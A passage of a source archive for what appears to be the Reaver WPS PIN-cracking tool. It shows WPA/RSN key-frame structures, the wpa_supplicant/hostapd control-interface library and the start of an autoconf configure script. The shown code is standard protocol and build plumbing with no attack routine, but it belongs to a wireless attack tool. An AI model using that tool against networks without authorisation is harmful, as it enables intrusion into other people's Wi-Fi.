8.5.2 EAPOL-Key frames */ #define WPA_KEY_INFO_TYPE_MASK ((u16) (BIT(0) | BIT(1) | BIT(2))) #define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 BIT(0) #define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES BIT(1) #define WPA_KEY_INFO_TYPE_AES_128_CMAC 3 #define WPA_KEY_INFO_KEY_TYPE BIT(3) /* 1 = Pairwise, 0 = Group key */ /* bit4..5 is used in WPA, but is reserved in IEEE 802.11i/RSN */ #define WPA_KEY_INFO_KEY_INDEX_MASK (BIT(4) | BIT(5)) #define WPA_KEY_INFO_KEY_INDEX_SHIFT 4 #define WPA_KEY_INFO_INSTALL BIT(6) /* pairwise */ #define WPA_KEY_INFO_TXRX BIT(6) /* group */ #define WPA_KEY_INFO_ACK BIT(7) #define WPA_KEY_INFO_MIC BIT(8) #define WPA_KEY_INFO_SECURE BIT(9) #define WPA_KEY_INFO_ERROR BIT(10) #define WPA_KEY_INFO_REQUEST BIT(11) #define WPA_KEY_INFO_ENCR_KEY_DATA BIT(12) /* IEEE 802.11i/RSN only */ #define WPA_KEY_INFO_SMK_MESSAGE BIT(13) struct wpa_eapol_key { u8 type; /* Note: key_info, key_length, and key_data_length are unaligned */ u8 key_info[2]; /* big endian */ u8 key_length[2]; /* big endian */ u8 replay_counter[WPA_REPLAY_COUNTER_LEN]; u8 key_nonce[WPA_NONCE_LEN]; u8 key_iv[16]; u8 key_rsc[WPA_KEY_RSC_LEN]; u8 key_id[8]; /* Reserved in IEEE 802.11i/RSN */ u8 key_mic[16]; u8 key_data_length[2]; /* big endian */ /* followed by key_data_length bytes of key_data */ } STRUCT_PACKED; /** * struct wpa_ptk - WPA Pairwise Transient Key * IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy */ struct wpa_ptk { u8 kck[16]; /* EAPOL-Key Key Confirmation Key (KCK) */ u8 kek[16]; /* EAPOL-Key Key Encryption Key (KEK) */ u8 tk1[16]; /* Temporal Key 1 (TK1) */ union { u8 tk2[16]; /* Temporal Key 2 (TK2) */ struct { u8 tx_mic_key[8]; u8 rx_mic_key[8]; } auth; } u; } STRUCT_PACKED; /* WPA IE version 1 * 00-50-f2:1 (OUI:OUI type) * 0x01 0x00 (version; little endian) * (all following fields are optional:) * Group Suite Selector (4 octets) (default: TKIP) * Pairwise Suite Count (2 octets, little endian) (default: 1) * Pairwise Suite List (4 * n octets) (default: TKIP) * Authenticated Key Management Suite Count (2 octets, little endian) * (default: 1) * Authenticated Key Management Suite List (4 * n octets) * (default: unspec 802.1X) * WPA Capabilities (2 octets, little endian) (default: 0) */ struct wpa_ie_hdr { u8 elem_id; u8 len; u8 oui[4]; /* 24-bit OUI followed by 8-bit OUI type */ u8 version[2]; /* little endian */ } STRUCT_PACKED; /* 1/4: PMKID * 2/4: RSN IE * 3/4: one or two RSN IEs + GTK IE (encrypted) * 4/4: empty * 1/2: GTK IE (encrypted) * 2/2: empty */ /* RSN IE version 1 * 0x01 0x00 (version; little endian) * (all following fields are optional:) * Group Suite Selector (4 octets) (default: CCMP) * Pairwise Suite Count (2 octets, little endian) (default: 1) * Pairwise Suite List (4 * n octets) (default: CCMP) * Authenticated Key Management Suite Count (2 octets, little endian) * (default: 1) * Authenticated Key Management Suite List (4 * n octets) * (default: unspec 802.1X) * RSN Capabilities (2 octets, little endian) (default: 0) * PMKID Count (2 octets) (default: 0) * PMKID List (16 * n octets) * Management Group Cipher Suite (4 octets) (default: AES-128-CMAC) */ struct rsn_ie_hdr { u8 elem_id; /* WLAN_EID_RSN */ u8 len; u8 version[2]; /* little endian */ } STRUCT_PACKED; #ifdef CONFIG_PEERKEY enum { STK_MUI_4WAY_STA_AP = 1, STK_MUI_4WAY_STAT_STA = 2, STK_MUI_GTK = 3, STK_MUI_SMK = 4 }; enum { STK_ERR_STA_NR = 1, STK_ERR_STA_NRSN = 2, STK_ERR_CPHR_NS = 3, STK_ERR_NO_STSL = 4 }; #endif /* CONFIG_PEERKEY */ struct rsn_error_kde { be16 mui; be16 error_type; } STRUCT_PACKED; #ifdef CONFIG_IEEE80211W struct wpa_igtk_kde { u8 keyid[2]; u8 pn[6]; u8 igtk[WPA_IGTK_LEN]; } STRUCT_PACKED; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R struct rsn_mdie { u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN]; u8 ft_capab; } STRUCT_PACKED; #define RSN_FT_CAPAB_FT_OVER_DS BIT(0) #define RSN_FT_CAPAB_FT_RESOURCE_REQ_SUPP BIT(1) struct rsn_ftie { u8 mic_control[2]; u8 mic[16]; u8 anonce[WPA_NONCE_LEN]; u8 snonce[WPA_NONCE_LEN]; /* followed by optional parameters */ } STRUCT_PACKED; #define FTIE_SUBELEM_R1KH_ID 1 #define FTIE_SUBELEM_GTK 2 #define FTIE_SUBELEM_R0KH_ID 3 #define FTIE_SUBELEM_IGTK 4 struct rsn_rdie { u8 id; u8 descr_count; le16 status_code; } STRUCT_PACKED; #endif /* CONFIG_IEEE80211R */ #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len, u8 *mic); void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label, const u8 *addr1, const u8 *addr2, const u8 *nonce1, const u8 *nonce2, u8 *ptk, size_t ptk_len, int use_sha256); #ifdef CONFIG_IEEE80211R int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr, u8 transaction_seqnum, const u8 *mdie, size_t mdie_len, const u8 *ftie, size_t ftie_len, const u8 *rsnie, size_t rsnie_len, const u8 *ric, size_t ric_len, u8 *mic); void wpa_derive_pmk_r0(const u8 *xxkey, size_t xxkey_len, const u8 *ssid, size_t ssid_len, const u8 *mdid, const u8 *r0kh_id, size_t r0kh_id_len, const u8 *s0kh_id, u8 *pmk_r0, u8 *pmk_r0_name); void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1_name); void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name, const u8 *r1kh_id, const u8 *s1kh_id, u8 *pmk_r1, u8 *pmk_r1_name); void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce, const u8 *sta_addr, const u8 *bssid, const u8 *pmk_r1_name, u8 *ptk, size_t ptk_len, u8 *ptk_name); #endif /* CONFIG_IEEE80211R */ struct wpa_ie_data { int proto; int pairwise_cipher; int group_cipher; int key_mgmt; int capabilities; size_t num_pmkid; const u8 *pmkid; int mgmt_group_cipher; }; int wpa_parse_wpa_ie_rsn(const u8 *rsn_ie, size_t rsn_ie_len, struct wpa_ie_data *data); void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa, u8 *pmkid, int use_sha256); const char * wpa_cipher_txt(int cipher); const char * wpa_key_mgmt_txt(int key_mgmt, int proto); int wpa_compare_rsn_ie(int ft_initial_assoc, const u8 *ie1, size_t ie1len, const u8 *ie2, size_t ie2len); int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid); #endif /* WPA_COMMON_H */ reaver-wps-fork-t6x-1.6.6/src/common/wpa_ctrl.c000077500000000000000000000232031363372615500213510ustar00rootroot00000000000000/* * wpa_supplicant/hostapd control interface library * Copyright (c) 2004-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #ifdef CONFIG_CTRL_IFACE #ifdef CONFIG_CTRL_IFACE_UNIX #include #endif /* CONFIG_CTRL_IFACE_UNIX */ #include "wpa_ctrl.h" #include "common.h" #if defined(CONFIG_CTRL_IFACE_UNIX) || defined(CONFIG_CTRL_IFACE_UDP) #define CTRL_IFACE_SOCKET #endif /* CONFIG_CTRL_IFACE_UNIX || CONFIG_CTRL_IFACE_UDP */ /** * struct wpa_ctrl - Internal structure for control interface library * * This structure is used by the wpa_supplicant/hostapd control interface * library to store internal data. Programs using the library should not touch * this data directly. They can only use the pointer to the data structure as * an identifier for the control interface connection and use this as one of * the arguments for most of the control interface library functions. */ struct wpa_ctrl { #ifdef CONFIG_CTRL_IFACE_UDP int s; struct sockaddr_in local; struct sockaddr_in dest; char *cookie; #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CONFIG_CTRL_IFACE_UNIX int s; struct sockaddr_un local; struct sockaddr_un dest; #endif /* CONFIG_CTRL_IFACE_UNIX */ #ifdef CONFIG_CTRL_IFACE_NAMED_PIPE HANDLE pipe; #endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ }; #ifdef CONFIG_CTRL_IFACE_UNIX struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; static int counter = 0; int ret; size_t res; int tries = 0; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); ctrl->s = socket(PF_UNIX, SOCK_DGRAM, 0); if (ctrl->s < 0) { os_free(ctrl); return NULL; } ctrl->local.sun_family = AF_UNIX; counter++; try_again: ret = os_snprintf(ctrl->local.sun_path, sizeof(ctrl->local.sun_path), "/tmp/wpa_ctrl_%d-%d", getpid(), counter); if (ret < 0 || (size_t) ret >= sizeof(ctrl->local.sun_path)) { close(ctrl->s); os_free(ctrl); return NULL; } tries++; if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, sizeof(ctrl->local)) < 0) { if (errno == EADDRINUSE && tries < 2) { /* * getpid() returns unique identifier for this instance * of wpa_ctrl, so the existing socket file must have * been left by unclean termination of an earlier run. * Remove the file and try again. */ unlink(ctrl->local.sun_path); goto try_again; } close(ctrl->s); os_free(ctrl); return NULL; } ctrl->dest.sun_family = AF_UNIX; res = os_strlcpy(ctrl->dest.sun_path, ctrl_path, sizeof(ctrl->dest.sun_path)); if (res >= sizeof(ctrl->dest.sun_path)) { close(ctrl->s); os_free(ctrl); return NULL; } if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, sizeof(ctrl->dest)) < 0) { close(ctrl->s); unlink(ctrl->local.sun_path); os_free(ctrl); return NULL; } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { unlink(ctrl->local.sun_path); close(ctrl->s); os_free(ctrl); } #endif /* CONFIG_CTRL_IFACE_UNIX */ #ifdef CONFIG_CTRL_IFACE_UDP struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; char buf[128]; size_t len; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); ctrl->s = socket(PF_INET, SOCK_DGRAM, 0); if (ctrl->s < 0) { perror("socket"); os_free(ctrl); return NULL; } ctrl->local.sin_family = AF_INET; ctrl->local.sin_addr.s_addr = htonl((127 << 24) | 1); if (bind(ctrl->s, (struct sockaddr *) &ctrl->local, sizeof(ctrl->local)) < 0) { close(ctrl->s); os_free(ctrl); return NULL; } ctrl->dest.sin_family = AF_INET; ctrl->dest.sin_addr.s_addr = htonl((127 << 24) | 1); ctrl->dest.sin_port = htons(WPA_CTRL_IFACE_PORT); if (connect(ctrl->s, (struct sockaddr *) &ctrl->dest, sizeof(ctrl->dest)) < 0) { perror("connect"); close(ctrl->s); os_free(ctrl); return NULL; } len = sizeof(buf) - 1; if (wpa_ctrl_request(ctrl, "GET_COOKIE", 10, buf, &len, NULL) == 0) { buf[len] = '\0'; ctrl->cookie = os_strdup(buf); } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { close(ctrl->s); os_free(ctrl->cookie); os_free(ctrl); } #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CTRL_IFACE_SOCKET int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)) { struct timeval tv; int res; fd_set rfds; const char *_cmd; char *cmd_buf = NULL; size_t _cmd_len; #ifdef CONFIG_CTRL_IFACE_UDP if (ctrl->cookie) { char *pos; _cmd_len = os_strlen(ctrl->cookie) + 1 + cmd_len; cmd_buf = os_malloc(_cmd_len); if (cmd_buf == NULL) return -1; _cmd = cmd_buf; pos = cmd_buf; os_strlcpy(pos, ctrl->cookie, _cmd_len); pos += os_strlen(ctrl->cookie); *pos++ = ' '; os_memcpy(pos, cmd, cmd_len); } else #endif /* CONFIG_CTRL_IFACE_UDP */ { _cmd = cmd; _cmd_len = cmd_len; } if (send(ctrl->s, _cmd, _cmd_len, 0) < 0) { os_free(cmd_buf); return -1; } os_free(cmd_buf); for (;;) { tv.tv_sec = 2; tv.tv_usec = 0; FD_ZERO(&rfds); FD_SET(ctrl->s, &rfds); res = select(ctrl->s + 1, &rfds, NULL, NULL, &tv); if (FD_ISSET(ctrl->s, &rfds)) { res = recv(ctrl->s, reply, *reply_len, 0); if (res < 0) return res; if (res > 0 && reply[0] == '<') { /* This is an unsolicited message from * wpa_supplicant, not the reply to the * request. Use msg_cb to report this to the * caller. */ if (msg_cb) { /* Make sure the message is nul * terminated. */ if ((size_t) res == *reply_len) res = (*reply_len) - 1; reply[res] = '\0'; msg_cb(reply, res); } continue; } *reply_len = res; break; } else { return -2; } } return 0; } #endif /* CTRL_IFACE_SOCKET */ static int wpa_ctrl_attach_helper(struct wpa_ctrl *ctrl, int attach) { char buf[10]; int ret; size_t len = 10; ret = wpa_ctrl_request(ctrl, attach ? "ATTACH" : "DETACH", 6, buf, &len, NULL); if (ret < 0) return ret; if (len == 3 && os_memcmp(buf, "OK\n", 3) == 0) return 0; return -1; } int wpa_ctrl_attach(struct wpa_ctrl *ctrl) { return wpa_ctrl_attach_helper(ctrl, 1); } int wpa_ctrl_detach(struct wpa_ctrl *ctrl) { return wpa_ctrl_attach_helper(ctrl, 0); } #ifdef CTRL_IFACE_SOCKET int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) { int res; res = recv(ctrl->s, reply, *reply_len, 0); if (res < 0) return res; *reply_len = res; return 0; } int wpa_ctrl_pending(struct wpa_ctrl *ctrl) { struct timeval tv; fd_set rfds; tv.tv_sec = 0; tv.tv_usec = 0; FD_ZERO(&rfds); FD_SET(ctrl->s, &rfds); select(ctrl->s + 1, &rfds, NULL, NULL, &tv); return FD_ISSET(ctrl->s, &rfds); } int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) { return ctrl->s; } #endif /* CTRL_IFACE_SOCKET */ #ifdef CONFIG_CTRL_IFACE_NAMED_PIPE #ifndef WPA_SUPPLICANT_NAMED_PIPE #define WPA_SUPPLICANT_NAMED_PIPE "WpaSupplicant" #endif #define NAMED_PIPE_PREFIX TEXT("\\\\.\\pipe\\") TEXT(WPA_SUPPLICANT_NAMED_PIPE) struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path) { struct wpa_ctrl *ctrl; DWORD mode; TCHAR name[256]; int i, ret; ctrl = os_malloc(sizeof(*ctrl)); if (ctrl == NULL) return NULL; os_memset(ctrl, 0, sizeof(*ctrl)); #ifdef UNICODE if (ctrl_path == NULL) ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX); else ret = _snwprintf(name, 256, NAMED_PIPE_PREFIX TEXT("-%S"), ctrl_path); #else /* UNICODE */ if (ctrl_path == NULL) ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX); else ret = os_snprintf(name, 256, NAMED_PIPE_PREFIX "-%s", ctrl_path); #endif /* UNICODE */ if (ret < 0 || ret >= 256) { os_free(ctrl); return NULL; } for (i = 0; i < 10; i++) { ctrl->pipe = CreateFile(name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); /* * Current named pipe server side in wpa_supplicant is * re-opening the pipe for new clients only after the previous * one is taken into use. This leaves a small window for race * conditions when two connections are being opened at almost * the same time. Retry if that was the case. */ if (ctrl->pipe != INVALID_HANDLE_VALUE || GetLastError() != ERROR_PIPE_BUSY) break; WaitNamedPipe(name, 1000); } if (ctrl->pipe == INVALID_HANDLE_VALUE) { os_free(ctrl); return NULL; } mode = PIPE_READMODE_MESSAGE; if (!SetNamedPipeHandleState(ctrl->pipe, &mode, NULL, NULL)) { CloseHandle(ctrl->pipe); os_free(ctrl); return NULL; } return ctrl; } void wpa_ctrl_close(struct wpa_ctrl *ctrl) { CloseHandle(ctrl->pipe); os_free(ctrl); } int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)) { DWORD written; DWORD readlen = *reply_len; if (!WriteFile(ctrl->pipe, cmd, cmd_len, &written, NULL)) return -1; if (!ReadFile(ctrl->pipe, reply, *reply_len, &readlen, NULL)) return -1; *reply_len = readlen; return 0; } int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len) { DWORD len = *reply_len; if (!ReadFile(ctrl->pipe, reply, *reply_len, &len, NULL)) return -1; *reply_len = len; return 0; } int wpa_ctrl_pending(struct wpa_ctrl *ctrl) { DWORD left; if (!PeekNamedPipe(ctrl->pipe, NULL, 0, NULL, &left, NULL)) return -1; return left ? 1 : 0; } int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl) { return -1; } #endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */ #endif /* CONFIG_CTRL_IFACE */ reaver-wps-fork-t6x-1.6.6/src/common/wpa_ctrl.h000077500000000000000000000226301363372615500213610ustar00rootroot00000000000000/* * wpa_supplicant/hostapd control interface library * Copyright (c) 2004-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_CTRL_H #define WPA_CTRL_H #ifdef __cplusplus extern "C" { #endif /* wpa_supplicant control interface - fixed message prefixes */ /** Interactive request for identity/password/pin */ #define WPA_CTRL_REQ "CTRL-REQ-" /** Response to identity/password/pin request */ #define WPA_CTRL_RSP "CTRL-RSP-" /* Event messages with fixed prefix */ /** Authentication completed successfully and data connection enabled */ #define WPA_EVENT_CONNECTED "CTRL-EVENT-CONNECTED " /** Disconnected, data connection is not available */ #define WPA_EVENT_DISCONNECTED "CTRL-EVENT-DISCONNECTED " /** wpa_supplicant is exiting */ #define WPA_EVENT_TERMINATING "CTRL-EVENT-TERMINATING " /** Password change was completed successfully */ #define WPA_EVENT_PASSWORD_CHANGED "CTRL-EVENT-PASSWORD-CHANGED " /** EAP-Request/Notification received */ #define WPA_EVENT_EAP_NOTIFICATION "CTRL-EVENT-EAP-NOTIFICATION " /** EAP authentication started (EAP-Request/Identity received) */ #define WPA_EVENT_EAP_STARTED "CTRL-EVENT-EAP-STARTED " /** EAP method proposed by the server */ #define WPA_EVENT_EAP_PROPOSED_METHOD "CTRL-EVENT-EAP-PROPOSED-METHOD " /** EAP method selected */ #define WPA_EVENT_EAP_METHOD "CTRL-EVENT-EAP-METHOD " /** EAP peer certificate from TLS */ #define WPA_EVENT_EAP_PEER_CERT "CTRL-EVENT-EAP-PEER-CERT " /** EAP TLS certificate chain validation error */ #define WPA_EVENT_EAP_TLS_CERT_ERROR "CTRL-EVENT-EAP-TLS-CERT-ERROR " /** EAP authentication completed successfully */ #define WPA_EVENT_EAP_SUCCESS "CTRL-EVENT-EAP-SUCCESS " /** EAP authentication failed (EAP-Failure received) */ #define WPA_EVENT_EAP_FAILURE "CTRL-EVENT-EAP-FAILURE " /** New scan results available */ #define WPA_EVENT_SCAN_RESULTS "CTRL-EVENT-SCAN-RESULTS " /** A new BSS entry was added (followed by BSS entry id and BSSID) */ #define WPA_EVENT_BSS_ADDED "CTRL-EVENT-BSS-ADDED " /** A BSS entry was removed (followed by BSS entry id and BSSID) */ #define WPA_EVENT_BSS_REMOVED "CTRL-EVENT-BSS-REMOVED " /** WPS overlap detected in PBC mode */ #define WPS_EVENT_OVERLAP "WPS-OVERLAP-DETECTED " /** Available WPS AP with active PBC found in scan results */ #define WPS_EVENT_AP_AVAILABLE_PBC "WPS-AP-AVAILABLE-PBC " /** Available WPS AP with recently selected PIN registrar found in scan results */ #define WPS_EVENT_AP_AVAILABLE_PIN "WPS-AP-AVAILABLE-PIN " /** Available WPS AP found in scan results */ #define WPS_EVENT_AP_AVAILABLE "WPS-AP-AVAILABLE " /** A new credential received */ #define WPS_EVENT_CRED_RECEIVED "WPS-CRED-RECEIVED " /** M2D received */ #define WPS_EVENT_M2D "WPS-M2D " /** WPS registration failed after M2/M2D */ #define WPS_EVENT_FAIL "WPS-FAIL " /** WPS registration completed successfully */ #define WPS_EVENT_SUCCESS "WPS-SUCCESS " /** WPS enrollment attempt timed out and was terminated */ #define WPS_EVENT_TIMEOUT "WPS-TIMEOUT " #define WPS_EVENT_ENROLLEE_SEEN "WPS-ENROLLEE-SEEN " /* WPS ER events */ #define WPS_EVENT_ER_AP_ADD "WPS-ER-AP-ADD " #define WPS_EVENT_ER_AP_REMOVE "WPS-ER-AP-REMOVE " #define WPS_EVENT_ER_ENROLLEE_ADD "WPS-ER-ENROLLEE-ADD " #define WPS_EVENT_ER_ENROLLEE_REMOVE "WPS-ER-ENROLLEE-REMOVE " /* hostapd control interface - fixed message prefixes */ #define WPS_EVENT_PIN_NEEDED "WPS-PIN-NEEDED " #define WPS_EVENT_NEW_AP_SETTINGS "WPS-NEW-AP-SETTINGS " #define WPS_EVENT_REG_SUCCESS "WPS-REG-SUCCESS " #define WPS_EVENT_AP_SETUP_LOCKED "WPS-AP-SETUP-LOCKED " #define WPS_EVENT_AP_SETUP_UNLOCKED "WPS-AP-SETUP-UNLOCKED " #define WPS_EVENT_AP_PIN_ENABLED "WPS-AP-PIN-ENABLED " #define WPS_EVENT_AP_PIN_DISABLED "WPS-AP-PIN-DISABLED " #define AP_STA_CONNECTED "AP-STA-CONNECTED " #define AP_STA_DISCONNECTED "AP-STA-DISCONNECTED " /* wpa_supplicant/hostapd control interface access */ /** * wpa_ctrl_open - Open a control interface to wpa_supplicant/hostapd * @ctrl_path: Path for UNIX domain sockets; ignored if UDP sockets are used. * Returns: Pointer to abstract control interface data or %NULL on failure * * This function is used to open a control interface to wpa_supplicant/hostapd. * ctrl_path is usually /var/run/wpa_supplicant or /var/run/hostapd. This path * is configured in wpa_supplicant/hostapd and other programs using the control * interface need to use matching path configuration. */ struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path); /** * wpa_ctrl_close - Close a control interface to wpa_supplicant/hostapd * @ctrl: Control interface data from wpa_ctrl_open() * * This function is used to close a control interface. */ void wpa_ctrl_close(struct wpa_ctrl *ctrl); /** * wpa_ctrl_request - Send a command to wpa_supplicant/hostapd * @ctrl: Control interface data from wpa_ctrl_open() * @cmd: Command; usually, ASCII text, e.g., "PING" * @cmd_len: Length of the cmd in bytes * @reply: Buffer for the response * @reply_len: Reply buffer length * @msg_cb: Callback function for unsolicited messages or %NULL if not used * Returns: 0 on success, -1 on error (send or receive failed), -2 on timeout * * This function is used to send commands to wpa_supplicant/hostapd. Received * response will be written to reply and reply_len is set to the actual length * of the reply. This function will block for up to two seconds while waiting * for the reply. If unsolicited messages are received, the blocking time may * be longer. * * msg_cb can be used to register a callback function that will be called for * unsolicited messages received while waiting for the command response. These * messages may be received if wpa_ctrl_request() is called at the same time as * wpa_supplicant/hostapd is sending such a message. This can happen only if * the program has used wpa_ctrl_attach() to register itself as a monitor for * event messages. Alternatively to msg_cb, programs can register two control * interface connections and use one of them for commands and the other one for * receiving event messages, in other words, call wpa_ctrl_attach() only for * the control interface connection that will be used for event messages. */ int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len, char *reply, size_t *reply_len, void (*msg_cb)(char *msg, size_t len)); /** * wpa_ctrl_attach - Register as an event monitor for the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 0 on success, -1 on failure, -2 on timeout * * This function registers the control interface connection as a monitor for * wpa_supplicant/hostapd events. After a success wpa_ctrl_attach() call, the * control interface connection starts receiving event messages that can be * read with wpa_ctrl_recv(). */ int wpa_ctrl_attach(struct wpa_ctrl *ctrl); /** * wpa_ctrl_detach - Unregister event monitor from the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 0 on success, -1 on failure, -2 on timeout * * This function unregisters the control interface connection as a monitor for * wpa_supplicant/hostapd events, i.e., cancels the registration done with * wpa_ctrl_attach(). */ int wpa_ctrl_detach(struct wpa_ctrl *ctrl); /** * wpa_ctrl_recv - Receive a pending control interface message * @ctrl: Control interface data from wpa_ctrl_open() * @reply: Buffer for the message data * @reply_len: Length of the reply buffer * Returns: 0 on success, -1 on failure * * This function will receive a pending control interface message. This * function will block if no messages are available. The received response will * be written to reply and reply_len is set to the actual length of the reply. * wpa_ctrl_recv() is only used for event messages, i.e., wpa_ctrl_attach() * must have been used to register the control interface as an event monitor. */ int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len); /** * wpa_ctrl_pending - Check whether there are pending event messages * @ctrl: Control interface data from wpa_ctrl_open() * Returns: 1 if there are pending messages, 0 if no, or -1 on error * * This function will check whether there are any pending control interface * message available to be received with wpa_ctrl_recv(). wpa_ctrl_pending() is * only used for event messages, i.e., wpa_ctrl_attach() must have been used to * register the control interface as an event monitor. */ int wpa_ctrl_pending(struct wpa_ctrl *ctrl); /** * wpa_ctrl_get_fd - Get file descriptor used by the control interface * @ctrl: Control interface data from wpa_ctrl_open() * Returns: File descriptor used for the connection * * This function can be used to get the file descriptor that is used for the * control interface connection. The returned value can be used, e.g., with * select() while waiting for multiple events. * * The returned file descriptor must not be used directly for sending or * receiving packets; instead, the library functions wpa_ctrl_request() and * wpa_ctrl_recv() must be used for this. */ int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl); #ifdef CONFIG_CTRL_IFACE_UDP #define WPA_CTRL_IFACE_PORT 9877 #define WPA_GLOBAL_CTRL_IFACE_PORT 9878 #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef __cplusplus } #endif #endif /* WPA_CTRL_H */ reaver-wps-fork-t6x-1.6.6/src/config.mak.in000066400000000000000000000002001363372615500204330ustar00rootroot00000000000000prefix=@prefix@ exec_prefix=@exec_prefix@ CONFDIR=@localstatedir@/lib/@target@ CC=@CC@ CFLAGS_USER=@CFLAGS@ LDFLAGS=@LDFLAGS@ reaver-wps-fork-t6x-1.6.6/src/configure000077500000000000000000004003471363372615500200160ustar00rootroot00000000000000#! /bin/sh # Guess values for system-dependent variables and create Makefiles. # Generated by GNU Autoconf 2.69 for reaver 1.6.6. # # # Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc. # # # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify it. ## -------------------- ## ## M4sh Initialization. ## ## -------------------- ## # Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then : emulate sh NULLCMD=: # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else case `(set -o) 2>/dev/null` in #( *posix*) : set -o posix ;; #( *) : ;; esac fi as_nl=' ' export as_nl # Printing a long string crashes Solaris 7 /usr/bin/printf. as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo # Prefer a ksh shell builtin over an external printf program on Solaris, # but without wasting forks for bash or zsh. if test -z "$BASH_VERSION$ZSH_VERSION" \ && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='print -r --' as_echo_n='print -rn --' elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then as_echo='printf %s\n' as_echo_n='printf %s' else if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"' as_echo_n='/usr/ucb/echo -n' else as_echo_body='eval expr "X$1" : "X\\(.*\\)"' as_echo_n_body='eval arg=$1; case $arg in #( *"$as_nl"*) expr "X$arg" : "X\\(.*\\)$as_nl"; arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;; esac; expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl" ' export as_echo_n_body as_echo_n='sh -c $as_echo_n_body as_echo' fi export as_echo_body as_echo='sh -c $as_echo_body as_echo' fi # The user is always right. if test "${PATH_SEPARATOR+set}" != set; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 || PATH_SEPARATOR=';' } fi # IFS # We need space, tab and new line, in precisely that order. Quoting is # there to prevent editors from complaining about space-tab. # (If _AS_PATH_WALK were called with IFS unset, it would disable word # splitting by setting IFS to empty value.) IFS=" "" $as_nl" # Find who we are. Look in the path if we contain no directory separator. as_myself= case $0 in #(( *[\\/]* ) as_myself=$0 ;; *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. test -r "$as_dir/$0" && 